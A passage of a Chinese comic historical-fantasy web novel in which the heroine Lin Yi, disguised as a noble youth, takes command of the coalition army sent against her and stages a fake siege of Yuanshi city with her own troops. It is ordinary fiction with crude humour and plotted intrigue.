韩和首先表态:“杨兄之死……实在、实在太意外了,他平日就喜欢打骂士卒,说了多少次都不听,唉!千金之躯来到这战场上,还没出兵就……噗!” 不要误会,最后那一声噗不是会盟现场有谁憋不住放了屁,而是韩和真就没忍住笑了出声。 卢宜是汉中郡的卢氏,和林一那边逃往西北的范阳卢氏主支是一个祖先,但各自繁衍生息了千年之久,不过和人家崔氏三面开花不同,汉中这边的卢氏没发展出什么东西。偌大一个汉中郡里世族排个行,卢氏能强势地排倒数第二。 这趟出来的是卢氏家主卢宜,属于全族上阵搏前程,和别人零散押注不同,他带了整五千兵员,是包括两千多卢姓本家子弟的,说话也是颇有分量。 “韩贤弟你……不过杨兄之死还是有些蹊跷的,昨日他亲兵在外,均说不曾见到有人擅闯,到天明才发现,总不会是他那三百亲兵合伙密谋害了杨兄,莫非是身法高妙的死士之流?” 卢宜才说完,许开荒就不耐烦地说:“老子不管是谁杀的杨曲,反正不是老子杀的,老子对天发誓,行了,他活着阻碍出兵,死了总不能大伙原地给他守孝三年,谈谈什么时候出兵打妖女,别等人家娃都生了赶过去贺喜,老子是听说那妖女就爱你们世族的公子,每天晚上一排跪着等人挑的。” 林一正在喝腊肉粥呢,这是她的早饭,听见这话都愣了,啊不是,传闻中的自己已经会玩成这样了? 卢宜有些嫌许开荒说话难听,想斥责几句,但是想了想自己带来的人手和许开荒带来的人手……虽然那些流民军不成气候,十个人凑不出一块铁,但是杨曲还不知道谁弄死的呢,这时候得罪人总归不好,只好委婉地说道:“弘农杨氏必会来人接手杨氏大军,我们不如等等杨氏来人。” 韩和擦了擦难过的眼泪,想了想说道:“如今天气炎热,大军贸然上路恐怕疫病丛生,韩某与杨兄不同,不畏惧出兵讨贼,只是想等秋高气爽,那时上路却不正好?” 许开荒等草莽首领不懂,世族还能不懂吗?等到遍地秋收再开拔启程,这一路的粮草花费就不用愁了,各地的世族豪强遇到大军过路总会掏一点儿,要是有的地方秋收还没开始,那大军也可以帮助一二,朝廷?朝廷真能拨出几十万大军的粮草?出不了赵郡就运不上了,以如今朝廷的光景,补给线拉不了那么长。 这次的盟军,真狠下心来想和林一干一场的,可不是那些草莽首领。 林一一碗粥已经喝完了,放下碗筷,还很刻意斯文地擦了擦嘴巴,这才加入发言:“杨氏会来什么人接手大军?” 卢宜和杨曲还是比较熟悉的,闻言想了想,“杨兄折戟,弘农杨氏那样的大族,恐怕不会再随意调族人来了,近些年杨氏最出彩的六个族人,人称杨门六龙……” 林一马上想起了崔殊的“崔氏三龙”来,这是缺德军师抄来的?还是世族就是这样没新意?不管怎么说,她的脸上都带起了一丝古怪的笑意。 总之卢宜分析了一通,认为至少会派一条龙过来,许开荒还准备开口,林一敲了敲桌子,忽然说道:“那俺们为啥要等杨氏派人过来接手呢?消息一来一回总要耽搁时日,俺们即刻向朝廷禀报会盟完成,然后立刻出发,耽误不了几天。这样能带着杨曲的人,杨曲的粮草跑路,几家直接瓜分了他,何必等杨氏再来人掰扯?” 几家世族都是一愣,草莽首领这边更是直呼内行,他们做土匪的都没往这上头想啊! 林一给许开荒使了使眼色,卢宜那边正为难呢:“说起来容易,可杨氏的兵如何能归我们用?何况出征是大事,稍微耽误一下,杨氏派十个人来都赶上了。” “老子直说了,选个盟主出来,盟军现下一盘散沙,做什么事都要开半天会,效仿一下江东联盟,人家有了江东王,办事多利索?”许开荒立刻说道:“老子们信不过你们这些奸滑的,年轻气盛没得那么多弯弯绕绕,何况人家带的精兵良将,又是大世族的公子,事情就这么定了!” 他是想先声夺人,几个世族将主也不是吃素的怂蛋,有将主笑道:“许首领何必这样急躁?诸位草莽出身,如何会服气一个新来的小子,莫不是早就相识?” 张小刀急了,“急个锤子!我们粮草都没得了,就等着早点出征搞点粮食,啷个服他嘛?老子倒是想选许老哥当盟主,你们世族的同意不嘛?大家都让一步,还想不想盟军好嘛?” 卢宜皱眉,韩和也不说话,就是个不同意的意思,几家世族倒未必是想争盟主的位置,这位置虽高,要操心的事多着,上去了压不住,恐怕下场不会比杨曲好到哪里去,按照世族的习惯,掰扯十天半个月寻常事尔。 但是……瓜分杨氏,这可不是兵员和粮草的事,杨氏带来的也是不下于林一的精兵,真能分? 接下来就进入了熟悉的世族和草莽的掰扯环节,林一没往里面插话,等众人都说累了,这才站起身来,伸手把每个人抓起来一一换了位置,从圆桌席位变成了一个主位两排下首的标准主客席,过程中不是每人挣扎抗拒,但是林一的手抓下来比铁钩都紧实,一个个排列好了位置,林一坐到主位上面去,咧开了嘴巴。 “诸位累了吧?俺也听累了,现在都安静听俺说。俺这边八千八百兵员,盔甲兵刃齐备,手头上都见过血,来之前一卒不费歼了一支东郡来的兵马,带一千多个俘虏在后头。真打起来,俺不敢说在座的各位没人是俺对手,只能说诸位不联合起来,是打不过俺的。” 她正色说:“对于盟军来说,现在矛盾的主要是缺粮的兄弟急着弄粮,世族的兄弟想等秋收,俺想早些走不是为弄粮,而是要打常山一个措手不及,秋后作战是能解决一些补给的问题,但是!林一那边占的河北胶东一带全是大粮仓,不趁着青黄不接去打,倒等人家秋收粮库丰盈才过去,妖女以逸待劳还补给充足,怎么打?担心补给问题,咱们路上征大户不就行了?” 世族比草莽首领好的一点就在于听得进去话,这事之前没有公开讨论过,卢宜和韩和对视一眼,卢宜道:“王公子确实是个聪慧人,但是几十万大军非小事,公子终归年少……” 这次林一都没开口,许开荒就骂道:“选盟主要选老的,不如田里拉个七十老翁来当好了!” 话糙理不糙,几家世族将主都没吭声,还是想拖一拖,张小刀一口蜀地方言,气得骂骂咧咧,整个主帐里就只有他的怒骂声,林一摆了摆手,她看着众人说道:“现在表决一下,同意的举手,在座三十二位将主,过半算俺成,中不?” 话音一落,左侧的草莽首领纷纷举起了手,有的人还举了双手,还真有世族将主下意识地数了数,然后很不世族地骂了声操蛋。 在座的草莽首领人数不多不少,正好十七人。 人都是从众的,虽然没有世族旗帜鲜明表示支持,但也陆陆续续有人跟着举手,剩下几家没举手的看看左右,板上钉钉的事,光是几家不举,难道等着被新任盟主穿小鞋?何况这位王公子是大族出身,也不是什么需要打压的阶层,所以卢宜和韩和,还有张氏将主张询,脸色都不那么好看地举起了手。 林一咧开了嘴巴,一拍桌案,这是故意没怎么收住力的,把红木的桌案生生拍裂,大声地道:“好!即日起俺正式就任联军盟主,令出如山不得有误,今日早回休息,明日大军开拔,通知洛都那边,给俺们上补给了,要是拖着不给,先灭他洛都再上路!” 这话属实有些张狂了,不过世族那边不吭声,朝廷这是瘦死的骆驼,虽比马大,但一具倒了的骨架子还想要多少尊重?倒是许开荒那边一下子就给整得热血沸腾的,第一个叫起好来。 林一还做了就任演讲,提到占据河北胶辽的妖女,那叫一个恨入骨髓,声情并茂,时不时潸然落泪。 那妖女怎么那么坏啊! 第167章 大军开拔前,瓜分杨氏,吃顿干饭。 前者是答应世族的东西,林一甚至都没有去分,听说分得挺激烈的,杨氏的几个家将那边愿意交出辎重盔甲兵器等,自行退出这场讨逆会盟,其实说白了,掏钱买命。 杨氏这趟精兵五千,预留三千盔甲兵刃留作路途中收编军队所用,粮草也丰足,林一给三家大世族将主分了六千兵甲的份额,自己拿了两千,然后粮草全数分给草莽首领这一头。剩下的杨氏精兵打散收编进其他中小世族那些千把人的盟军队列里,这家给二三百,那家分二三百,都是闹不出乱子的数额,让他们自己掏钱装备去,精兵可是很吃香的。 至于杨氏忠心耿耿的家将们?他们也是头一次见分成这样的!连回程的粮草都不留也就算了,许开荒的人是真能啊,把他们脚上的鞋都拔下来抢走了,实在无可奈何,没粮路上还能就食于大户,没鞋总不能光脚回去……就算可以!衣服也都没了啊! 林一把杨氏的几个家将都收编了,她自己要找死也没世族拦,家将部曲可是一个世族的核心命脉,人家杨氏是养死士的规格养着的,把不可能忠于自己的人留在身边?果是个庶出的,教养还是不到位,眼皮子太浅。 什么是死士?必定上有慈长,下有牵累,没有世族会大力培养孤儿的,世族供养你一家老小,逢年过节家主亲临送礼,隔三差五邀你饮酒赏宴,能饿死人的灾年也好酒好饭养着你,等到父母年老,儿女眼看要成人,世族需要你了,要你持刀街市杀个人?干不干? 甚至失手也没关系,世族养的死士很多,你亲眼看过失手的死士家人仍然如生前优厚待遇,想想家人的无忧无虑的脸,这刀是接还是不接?家将的培养只会比死士更严,世族确保每一个家将付不起不忠的代价。 但林一就是把五个杨氏家将留在身边了,然后把从马彦那里得来的一千五百多名俘虏交给他们带。 朝廷的军粮是崔殊去催的,林一不过问他用了什么法子让派粮的官员一分钱都不敢贪,总之开拔之前给各家军中都发了一波粮,让士卒吃上一顿干饭,大军团作战在粮草不足的情况下,行军路上的消耗还是要节省一些,等开战了再甩开膀子吃是常有的事,甚至不少世族兵在赶路时也是一天两顿稀粥。 紧赶慢赶到了六月下旬,吃饱的盟军溜了溜了,自河内郡朝歌城出发,过临漳,漳水,经邯郸,抵达常山郡的势力边缘,这一路多平原水脉,在经过邯郸时需要过太行八陉之一的滏口陉,此地险要,易被埋伏。 光是规划路径就让不少人惊讶,因为好多世族虽然知道路,但局限于地图,有的甚至离了自家郡,都不晓得外头的地形。虽然江东王现在是和林一联盟的状态,但不得不说的是,江东那边少山川,江东军好多在胶东那一块儿见到山都不会走路的,这趟跟着林一出来也有一部分的丹阳兵,那真是走路都打飘,在老家就没见过这么多山。 林一是真一心一意为了盟军早日抵达常山,她规划的都是最短最好走的路线,大军启程第五日的傍晚,前军已经抵达临漳城郊,后军辎重距离前军约有二三十里路程。 这样大规模的行军,不光林一是第一次,盟军其他势力也都没有经历过,于是林一就按自己的模糊想法来,分为前中后三军,前军精锐,中军人多,后军携带大量辎重慢行。三军需要间隔行军避免拥堵,扎营也方便一些,在林一看来,这几乎不能算是行军,而是一场人类大迁徙。 今日不进临漳城,天气热也用不上建造营房,士卒简单铺席而眠,有一些世族将主喜欢折腾的就竖起帐子来,林一这边也立了中军帐,不是为了睡觉舒服,而是要开个小会。 那个……人家杨氏一条龙追上来了。 弘农郡尚远,消息来回也需要时间,所以林一预计应该是在出了邯郸范围后才可能有杨氏的人来看情况,但是人家杨氏是远在邯郸没错,但世族子弟到处乱跑那不是很正常。杨氏六龙里有两条龙常驻家族,四条龙长期在外游散,这次杨曲身死的消息传开不久,在河东郡一家大户做客的杨氏六龙之一杨冰收到了消息。 然后轻车简从,紧赶慢赶,还是在大军开拔第五日追了上来。 中军帐中,林一一只手举着一盏风氏瓷假装欣赏着,实际屁都不懂,几家世族也专心研究座椅茶几上的花纹,杨冰是个三十来岁的中年男子,淡眉笑眼,俊面微须,没有摆出兴师问罪的模样,反倒是一脸笑容,风度翩翩。 “曲堂弟之死,我也甚感悲痛,诸位能将他的遗体送归,杨氏也感念在心,只是如今会盟当前,杨氏既然参与其中,总不好半途而废,故此霜雪不才,愿入军中,为盟主驱策。” 杨冰,字霜雪,非常冷的名字,非常温和的一个人。 林一和崔殊交换了一个眼神,崔殊努了努嘴示意,林一得了一种看到崔殊嘴巴动就想笑的毛病,谁懂,那两撇鲶鱼须须长得已经够好笑了,他还努嘴,更像是一只大鲶鱼穿了衣裳坐在席位上了。 至于示意,林一很艰难地分辨了一下,没有分辨出崔殊想叫她做啥,只好依靠自己,她想了想,很直接地道:“杨曲死后,他的兵马已经打散到其他队伍里了,杨霜雪对吧,你是想重新带兵,还是做些别的?” 杨冰也没想到这新盟主这样直白,瓜分杨氏的事是可以这样大声说出来的吗?他略一思索,笑着说道:“在下从未沾手过兵事,只是对天文地理水情略知一二,可为军中出谋划策,盟主若是不嫌弃……” 林一觉得真不愧是大世族出身啊,很是上道,但她也很遗憾,本来打算让他带马彦那些人的,她对这些俘虏嫌弃得不得了。 就此商量完毕,尴尬的气氛顿时一扫而空,卢宜还去和杨冰搭话了,还是世族那一套,公子年岁不小了,婚配……哦,婚配了啊,那么身边没有带女人吧?正好!男人出门在外,身边没有女眷怎么能行?书童可不如女人服侍得细致……总之就是一顿劝。 卢宜这趟出来除了卢家子弟兵,是真的带了十几个族中未嫁女出来,名义上是整理文书一类的,实际上就是为了带出来交结盟友,杨冰也没有推辞,收下了一对双胞胎卢家少女。 林一多看了卢宜一眼,就这开拔的五天工夫,林一就眼瞅着卢宜四处送,当然一次都没有提联姻的事,就是个送,送年纪大的就说孝敬长辈,送年纪轻的就说服侍,跟送扫地机器人似的。她观察过了,能被卢宜送女的都不缺女人,而且大军刚开拔事情多,这几天都没什么人有心思奏乐观舞,林一丝毫不怜惜人,每天一睁眼就是个赶路。 等到众人散去,中军帐里只剩下自己的人时候,林一把头埋进呼兰霍兰宽阔的胸膛里深深吸了一口男人味,马上就活泛起来了,靠着美人(?)胸怀,闷闷不乐地说道:“那个卢宜四处送,我有一次都听见一个小姑娘喊他大伯了,亲侄女也往外送,这一个一个要过来也不是个长久之计啊。” 是的没错,每次卢宜送了人,林一就私下约谈被送的人,然后要过来,就和胡秀她们安置在一起,因为时间还比较短,而且林一约谈的力度很大,暂时还没有人告诉过卢宜快别作死了。 崔殊笑眯眯地说道:“没几个了,好像还有三个吧,等都要过来,他也没得送了。主君,谈正事吧,那个杨霜雪,我倒是觉得他别有用心。” 林一支棱起来,“要回杨氏的兵?” 于此同时崔殊说:“他想投靠主君。” 两句话是同时说出来的,崔殊都愣了一下,费解地说:“为什么会想到这个,已经瓜分干净的东西,每方势力都染了指,是他一个人能要回去的吗?” 林一挠了挠头,是这样的吗?她怎么觉得弄军队是非常简单的事情呢?不过想投靠她?真的假的。 崔殊分析说道:“此人一来不要任何补偿,不提杨氏那么多的资源利益,我听闻他来的时候还拒见那几个杨氏家将,姿态已经摆得很足了,他这趟就是来加入我们的,主君如若不信,可以试探一二。” 杨冰从中军帐出来不久,林一假模假样给他派了十来个亲兵,搭了简易的帐子给他住,帐子才搭好,卢宜那边就送了那对双胞胎少女过来,杨冰不由摇头苦笑,这个年纪……卢家是真没女眷可送了吗?他今年三十有五,是成婚较晚的,要是成婚早,这对少女叫他阿父都嫌老。 哎,端茶递水都怕左脚绊右脚的年纪啊。 第168章 次日上路,林一不同于世族将主在中军休息,她一般是白天带着前军行路,到傍晚时分再从前军折往中军,有时候还会去后营瞅瞅,检查一下辎重,精力充沛到常人难以想象。 这日却很难得,只是带着前军走了一个上午的路,就给呼兰霍兰指了一个方向让他走,然后就往中军那边去。世族大多是乘坐马车,这天气炎热,马车好歹有个顶盖遮阳,但还是热,卢宜和韩和的近侍几乎要把扇子摇出火星子。 林一挑的大多是水源地走,尤其临漳这边多是漳水支流,也给行军赶路带来很大的便捷,林一是禁止前军和中军下水的,这么多人的军队一下河,马上就会弄清成浊。现在行军路上已经不是各伍自行开火烧饭烧水了,而是后勤辅兵那边统一烙饼熬粥配送,节省精兵的消耗。当然近三十万的人的军队肯定有偷摸下河的,这个就不归林一管了。 顶着大太阳林一也活动自如,在中军的队列里找了不一会儿就从卢宜的马车里找到了杨冰,也不晓得两人在谈什么事,总之她坐到了驾车的位置上,把那驾车的老军挤到了架栏上,一回头,笑眯眯地说:“卢叔,杨兄,你们翁婿聊什么呢?” 卢宜有些嫌林一冒昧,杨曲死后他对盟主这个位置有过些想法的,谁料林一后来居上,他倾力交结的那些人几乎都不怎么和他来往了,也就杨冰初来,这一个早上和他聊得非常投机。 杨冰对林一却很客气尊重,微微坐直了身子,等林一话落,先更正了一下,“盟主说笑了,我自有贤妻在家,卢家主不过是见我孤身行路,送了两位使女照料一二。” 然后就笑道:“我们正谈及这次讨伐常山郡的事,在下对兵事有些兴趣,而卢家主认为林女君不堪一击,正在争论……” 林一摸了摸下巴,也不驾车了,就往宽敞的车厢里钻,一进去就察觉不对,很惊讶地翻了一下,在两人的座位底下翻出一个大冰盆。 冰盆!这可是六月下旬的天气啊,就算在雪域都得在一些海拔很高的山上才能找到呢。 对于林一的冒昧,卢宜是真有些习惯了。他有一回在帐子里睡觉,那次帐子就挺巧的和林一的大帐距离比较近,他自己是没什么察觉的,结果第二天早上醒来,亲卫支支吾吾地和他报告说,王盟主昨天晚上进帐子转了一圈又走了。也没干啥,就是像巡逻领地的狮子一样来转了转,然后挠了挠屁股走了。 这都叫什么事儿啊。 杨冰也有些惊讶,但是很快就笑着道:“早上临漳城那边的朋友送了些储冰,行军路上也没法储藏,正好卢家主相邀也没个礼送,就一道乘些凉气,盟主也是赶巧了。” 他以为林一是准备转移话题了,正准备从善如流,就看到林一把冰盆放在自己脚边,角度比较刁钻地避开了卢宜的方向,然后就很感兴趣地问道:“继续聊继续聊,聊那妖女的事,我对她的了解也不少。” 她现在说妖女是很顺嘴的,因为她也觉得这些盟军口中的林一妖女太可恨了,在他们口中,林一的形象是这样的:按照魏帝的说法,林一乃是当初和亲的玲珑公主的伴读侍女,路上杀害公主代嫁雪域,狐媚了苏赫阿那之后开始祸乱江山,先夺了辽东(虽然当时辽东早就在克烈人的版图里),然后拒不交还,接下来就是强抢雍西引发流民暴乱(?),魏朝四百年国祚因此风雨飘摇,此后一路作乱胶东,占据河北,打杀世族,横征暴敛(!)。 最可恨的是妖女对世族的折辱,她的情史就如战绩一般辉煌,林一帐下但凡有个平头正脸的男子,那必然是入幕之宾,王澈崔殊已经算是人老珠黄的了,尤其是崔殊啊,自己失宠与主君,就带上全族男儿一起做那勾当,号称什么女君帐下崔氏三龙,有知情人声称,那明明是范阳崔氏长相最出彩的,没见那长相稍微逊色一些的崔语就选了江骋那边站吗?这叫什么?这叫文武群臣皆为宾客。 魏朝的世族还是眼界少了,对林一的这些恶意中伤和羞辱……林一是擦着口水听的,听听、听听这些诱人的话!她吃亏就吃亏在道德水平太高啊,别人给她辛辛苦苦做事,她就有一些不好意思骚扰,当然呼兰霍兰除外啊,他是很欢迎林一来骚扰的,林一就喜欢主动的,让她想到那些霸雌文学。 杨冰却是个正经人,他不提林一那些传闻,只是从很正经的兵事方向来谈论,“那位林女君,我愿称之为天生将帅,陛下声称她是侍女弑主上位,这一点虽不明确,但她的出身应当确实不高,世族教女也许会教一些本事,但极少会教兵事,若是将门更不准确,除非她是叶老元帅在外的后裔……这样的本事若是能被人教出来,教她的人不该寂寂无名。” 林一挺喜欢挨夸,但辽东对她来说已经太远了,被夸也没什么感觉,直接道:“不谈往事,说说这次去打常山郡,卢叔为什么觉得不堪一击?俺们三十万大军过去直接给她地都犁平了是吧?” 卢宜清了清嗓子,看得出来是有底稿的,“此战我所认为,林军必败,我盟军必胜,其一,林名不正言不顺,上下内乱一气,而我盟军人才济济,秉承四百年国威,故此一胜也。” “其二林虽占地,但河北子弟多有不服者……” “其三我盟军……” 他洋洋洒洒说了一大通骈文,林一忍到第七句的时候忍无可忍了,问他说:“恁去河北考察过了啊?恁咋知道的妖女那边内乱?恁咋知道的河北那边不服?恁还知道上了胶东那边世族都渴盼王师南下哪?恁会飞啊咋的?” 杨冰轻咳一声,解围道:“卢家主也是为军中士气着想,其实此战也并非没有胜算,至少我从盟主的身上看到了胜利的希望。” 他的眼睛可能有点啥问题,林一之前就觉得杨冰看人的时候眼睛会虚一虚,就是挺常见的那种短视眼。 总之在卢宜的干扰下,林一没能和杨冰论上战,倒是把冰盆用化了,拍了拍屁股通知了杨冰一下晚上来她帐子里说话就走了。 卢宜真是要烦死这个新盟主了,他这边聊了一个早上,正是想拉拢杨冰的时候,在他看来都快成功了,当然杨冰收获也不小,和卢宜的交谈让他摸清楚了盟军的所有势力构成,首领特征,还有最重要的队伍权力划分。 然后得出了结论,自古联盟很难胜,因为联盟就代表人心不齐,但他真的在林一*身上看到了希望,这是一位绝对不亚于江东王陆行的年轻人。 他有手腕有能力,世族出身却一来就联合了草莽队伍,得到了人数最占优势的一方全力支持,在瓜分杨氏时没有拿好处的大头,说明不执着于内部争权夺利,这也安抚下了世族的大部分队伍。 接下来在抵达常山郡之前内部修剪一下,这支盟军极有可能会胜,只看是大捷还是小胜了,说实话三十万大军的体量摆在这里,小胜就等于输,因为付出和回报不成正比,光是军粮的消耗就大得惊人。 额,至于内部修剪的那一批……杨冰在下马车的时候回头看了一眼卢宜,心里也很无奈,怪他昨天收人的时候还没弄清楚情况,只看卢宜那个样子还以为他多有话语权呢,没办法,从明天开始疏远卢宜吧。 晚上林一是真准备约谈杨冰的,但是发生了一趟小插曲,前军那边传来战报,说是西北援军已经在攻打范阳郡,让他们这边尽快去攻常山郡,分散两处战场给林一那边上上强度。 西北还是出兵了! 这消息传来盟军都很振奋,林一也很振奋,她这趟出来之前重兵主防的两地分别是常山和范阳,明面上放在常山郡的是韩小六,实际上是段凛在伪装韩小六,此时此刻在范阳驻守的才是韩小六,范阳那边的军队主要构成还是韩小六的旧部,当初跟着韩小六一路从辽东打到巨鹿的那一批,兵将之间磨合很好。 这波啊,看似双线作战,实际上队伍拉到了地方,谁和谁打,可能打完了彼此都不清楚呢。 林一已经划拉好了队伍,只要韩小六那边能守得住,那一切就没问题,一个好主君就是要信任自己的下属……不行,信任不了一点儿,林一准备入夜了飞回去瞅瞅战事情况。 也不晓得王澈+韩小六有没有搞头,要是将谋之间磨合不好的话,她就得找个机会让崔殊死遁,然后返回范阳战线上重新和韩小六组团了。 林一非常忧愁这个,然后毫无负担地忘记了杨冰,交代了崔殊和呼兰霍兰几句,就找了个地方原地起飞。 杨冰在军帐外转悠了一会儿,忽然见一只体型庞大的不明飞行物冲天而起,不晓得是不是错觉啊,那不明飞行物有点像是一只……巨大的山鸡? 他揉了揉视力不怎么好的眼睛,可能今天天太热中暑了吧。 第169章 西北攻打范阳郡的第一站是飞狐陉,太行八陉之一,经由飞狐陉可以直取涿县,对整个范阳郡造成极大威胁,而如果失去范阳,就会切断林一的势力两端,像一张弓从中间断裂,将河北和辽东分割开,到时候西北想上哪边吃席就上哪边吃。 飞狐陉距离盟军这边挑选的元氏县战场有四五百里的路程,中间有滹沱河和太行八陉之一的井陉,以及拒马河等一系列难走的地形,基本上无法实现联动,但让林一势力陷入双线作战本身就是会战的一种形式。 兵如水势,林一不可能不应对三十万大军的扑咬,而那边杨裳和江骋上阵父子兵,虽然没有三十万军队的恐怖兵力,但实际上才是最危险的。五万西北精锐,其中有近万的骑兵,人数少补给少,而且从接壤的代郡出发,补给线不会拉得太长,阻拦了其中一方,另一线的战场必然会被长驱直入。 林一从前还是源生战士的时候,看过一些军事主脑AI配发的百鸟帝国名将回忆录,这种在大头兵里属于垫桌脚都嫌厚的纸质垃圾,林一翻看过很多遍,当成小黄书来看。 啊对对对,没错的,因为这些回忆录里通常不是已故名将教你打小虫,也没什么经典战役解构分析,而是吹牛逼,好多雌鸟名将最喜欢聊的就是荤段子,至今林一还记得一个叫咕吃尖的名将在她的回忆录里写道:“我个鸟的XP有一些奇怪,有时候会觉得一些战役非常涩涩,比如双线作战,你敞开大门迎接了左边的进攻,后方很快会失守,抽出手来去打另一个,前门就会挨揍,而我此生最擅长的就是多线作战,不管是在战场还是床上。” 林一靠着这位咕咕吃尖的回忆录来过很多雌鸟传统手艺活的。 而如今的战局正是咕咕吃尖……好像是一位珠颈斑鸠家族的话事人,她最喜欢的双线战场了,但是林一不是咕咕吃尖,她这边自己魂穿了盟军,正假模假样赶往元氏县,真正要对付的只有西北军。 飞狐陉易守难攻,或者说太行八陉没有菜鸡,林一当初能轻易拿下井陉是因为先下了常山郡,飞狐陉这边,韩小六和“林一”可是严阵以待。 林一来的时候,听见军帐里有女人说话的声音,她其实不怎么意外的,韩小六这边队伍拉起来的时候,可以说是女将窝。人才都有自己的朋友圈,韩小六娶的那位夫人有一个女屠户的朋友圈,金玉兰就是这么来的,而除了金玉兰,通过武试的女将也有四五名,主要可能有一关女子比男子容易过啊……那个,不磨裆嘛。 但是林一进门的时候看到一个绝色美人坐在主位上,而韩小六和他的女将团队在下首,就愣了一下。 那绝色美人懒洋洋的,半躺半靠着,是个贵妃醉酒的姿态,全身上下就一张嘴勤快,见到林一掀帘入帐,还打了个招呼,“主君?” 林一震惊地看着一身锦绣宫装,堆发如云的王澈,半晌干巴巴地啊了一声,过去把韩小六挤开了,自己坐到下首第一个的位置上,王澈顿时笑眼弯弯的,继续软着嗓子说话。 “主君来了,就把我们之前商议的事再解释一遍,这次飞狐陉要失,御敌于外不如退避三舍,叫他孤军深入。不提杨裳,江骋用兵如神,韩将军只要稍微避一避锋芒就能造成大溃败,今日主要是如何让佯败损失不要太大。” 林一小心翼翼地问:“好的,我大概清楚你准备怎么打,但是这个女装……” 王澈的女装可不是那种忸怩作态的,他修了眉描了眼,女声低嗓,姿态虽然懒散但风仪十足,他、他在假扮谁啊? 果然王澈就笑道:“这样关键的战局,主君怎么能不在?范阳战场没有妖女,岂不是很容易让人想到常山战场那边的主君?啊,好像也不会。” 他打量了一下林一,然后团扇半掩嘴巴移开了视线。 韩小六可怜巴巴的告状:“主君,王军师经常叫人入帐子,窝这边的兄弟婆娘有不清楚情况的,暂时也不敢说,反正就有两个挨过几回揍了,窝没有什么,就是觉着风气不是很好,他败坏主君的名声……” 王澈这倒是正经了一下子,“如今主君在外的名声就是这样,飞狐陉佯败那一战,我还要亲临战阵的,如今军中也有西北那边的探子,除了帐中诸位,消息最好不要走漏一丝,如果不是因为这么多女人,没有一个扮得了美人的话,唉!” 他秀眉蹙起,很是痛心。 林一反正是原谅了他,接下来通报了盟军那边的情况,又商议了一阵,林一想了想说道:“盟军那边暂时走不开,但是我这几天每晚都会回来,不要怕!不要慌!区区双……” 她又想到咕咕吃尖那个离谱的战场XP,感觉自己在耍流氓,又把话咽下去了。 转过天来,王盟主又风度翩翩上场了,再有一天就能抵达元氏县城,严格来说现在他们已经到了常山郡的边缘地带,而没有遇上任何驻军营地,不少元氏的农人正在地理忙活秋收,林一按住了想抢一票的盟军各家势力,提前发了三日的军粮,命令在一处水源地扎营,等后军赶至,就正式攻打元氏县。 后军和前军距离一两日路程,这是很正常的,几十万大军的体量摆在一起,不可能密集行军的,林一抽调了几支军队充作先锋营,一般来说联盟的军队最容易出问题的就是先锋营,因为谁都知道先锋基本等于炮灰,死得最早,没有哪家将主会愿意派遣自己的人上阵,所以经常会欺负一些实力不强人缘不好的小势力。 但是林一不一样,她从自己的八千八百多精锐力抽取整整五千人作为先锋营的骨架,从各家世族里再抽取百人规模的精锐时阻力就小了很多,凑出七千多人的先锋营,反而那些经常会被用作炮灰的草莽军队那边一个人也没有调,林一的说法是先锋就要先声夺人,争取一战而下。 元氏城中,段凛面无表情地发号施令,他不是第一次面对林一攻城,但第一次打假战,而且许败不许胜,他怀疑林一是在公报私仇,他有理由也有证据。 之前在雍西的时候,他守的城池让林一久攻不下,最终是因断粮而不得不冒险出城,现在一转眼,她又来攻他的城,这次得被堂堂正正地正面打开城门,啧。 之所以是林一的军队主攻,那当然是因为两边都是自己人好演戏啊! 清晨,伴随着嘈杂声响,盟军第一次攻打元氏城,战鼓擂过十轮,林一亲自冲锋不下五次,城中士卒看着老乡的脸就想笑,城里前些日子收购了很多猪和鸡鸭,现在有的地方在杀鸡,有的拉了猪在巷子里杀,血浆到手就四处泼洒。先锋营里虽然有两千多世族兵,但都被安排在南城门佯攻,这处主战场的战况才叫一个激烈。 人离得太远是看不清战场情况的,尤其杨冰眼睛不是很好,在远处的小山坡上紧张地看着战局,崔殊则给自己泡了一壶浓茶。 杨冰感叹地道:“距离如此之远,喊杀声竟也如此激烈,乱世,人杀人……唉。” 这是个破绽,崔殊喝着茶想,一般战场有个白热化的过程,一开始不是杀得这么凶的,只不过第一次演,演得比较过。不过很多把戏在没有揭晓之前,再多的破绽也会被忽视过去,崔殊不放在心上,而是很沉着地道:“我看盟主骁勇不下江骋,今日元氏城可破,妖女的兵力大概都压在了范阳战场那边。” 杨冰也是这样想,元氏城中守军不多,这战事又如此激烈,他还看到有个身影倒地了三回还能强撑着站起就是不肯死去,死也要往城墙上按一个血手印……真乃壮士也。 林一正在四处挥砍刀背,也注意到了那个死了三次还死不掉的壮士,上去就是一脚给他踹进旁边的掩体里了,演!看你小子浑身上下每一根头发丝都是戏,去!去掩体里演点悲情戏。 从清晨战至入夜,元氏城中家家户户封门,林一的先锋营终于打进了城门,外围观战的大军被勒令不许进城,但林一从城中粮仓拿出来不少好东西分给众人庆功,别问为什么不准大军进去,因为战后还要的城池,都不会让大军进去烧杀抢掠的,不是自己的军队很难管得住,一刀切是最好的办法。 不过各家将主还是能进城坐一桌的,林一身上的血气还没散去,尽管那几乎都是猪血,但就连屠户出身的草莽首领都没看出点啥,更别提世族的将主了,众人欢聚一堂,林一正准备开一场即兴演讲,就见外间有亲卫哭着来报,卢将主进城的时候遭遇溃兵突脸,现在人已经躺了板板。 林一非常悲痛地捂住了嘴巴,亲卫也哭得像个泪人,嚎啕着哭出一首大出殡。 众人心中都有些异样,林一也抹了把眼泪,定睛一看,谁把白天那个死了三次还爬起来的戏哥拉来又演二出的? 第170章 当然,现在很大一部分聪明人最多想到卢宜是林一弄死的,毕竟卢宜这老登虽然名为宜,但其实很不合时宜的。 也许是举族押宝的压力,也许是别人看在他带来的兵力份上对他表现出来的尊重让他冲昏了头脑,卢宜都没怎么认清楚过现实,还抱着做盟主的美梦。然而行军这些日子以来,无论是草莽首领还是世族将主,对于林一这个年少盟主的不满不服早已消失,人是从众的,在一个团结群体里最先被排挤的肯定是不合时宜的,无关好与坏。 其中很明显的一点就是,卢宜送出去十几二十个卢家女总是有的了,咋就没想起来给盟主送一个?盟主也是很工于心计的,从来不找卢宜要,而是等事后约谈要走卢家女,又睡了你家小娘,又断去你好不容易拉拢的人脉关系。整个盟军里人人都知道林一要搞卢宜,但就是没人告诉他一声呢。 包括新来的杨冰,对杨冰的约谈其实延迟了,但事后他通过和崔殊搭上关系,从其他人那里了解情况,第二天就把卢家那对双胞姐妹送到了林一帐里。 